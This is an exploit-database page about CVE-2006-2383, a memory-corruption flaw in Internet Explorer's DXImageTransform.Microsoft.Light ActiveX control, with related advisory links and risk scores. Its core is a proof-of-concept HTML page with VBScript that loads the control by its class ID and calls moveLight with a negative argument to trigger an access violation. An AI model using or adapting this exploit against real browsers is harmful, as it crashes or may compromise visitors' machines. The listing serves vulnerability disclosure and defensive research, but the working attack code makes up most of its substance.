Microsoft DXImageTransform.Microsoft.Light - ActiveX Control Remote Code Execution
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2006-2383 | 13 Jun 200619:00 | – | cve |
 | CVE-2006-2383 | 13 Jun 200619:00 | – | cvelist |
 | CVE-2006-2383 | 13 Jun 200619:06 | – | nvd |
 | Code injection | 13 Jun 200619:06 | – | prion |
 | Microsoft Security Bulletin MS06-021 | 13 Jun 200600:00 | – | securityvulns |
 | MS06-021: Cumulative Security Update for Internet Explorer (916281) | 13 Jun 200600:00 | – | nessus |
 | Microsoft DXImageTransform Light filter fails to validate input | 13 Jun 200600:00 | – | cert |
 | Microsoft Internet Explorer DXImageTransform ActiveX Memory Corruption Vulnerability | 13 Jun 200600:00 | – | zdi |
source: https://www.securityfocus.com/bid/18303/info
The DXImageTransform.Microsoft.Light ActiveX control is prone to remote code execution.
An attacker could exploit this issue to execute code in the context of the user visiting a malicious web page.
<!--
MS Internet Explorer 6 DirectX Media DoS Vulnerability
DLL: dxtmsft.dll
Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)
Description:
Sub moveLight (
ByVal lightNum As Long ,
ByVal x As Long ,
ByVal y As Long ,
ByVal z As Long ,
ByVal fAbsolute As Long
)
Supplying negative parameters throws an access violation.
-->
<object classid="clsid:F9EFBEC2-4302-11D2-952A-00C04FA34F05" id="DXTLight">
Unable to create object
</object>
<script language="vbscript">
Sub go
DXTLight.moveLight "-1", "1", "1", "1", "1"
End Sub
</script>
<input language=VBScript type="button" value="Try me" onclick="go()">Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Aug 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.40296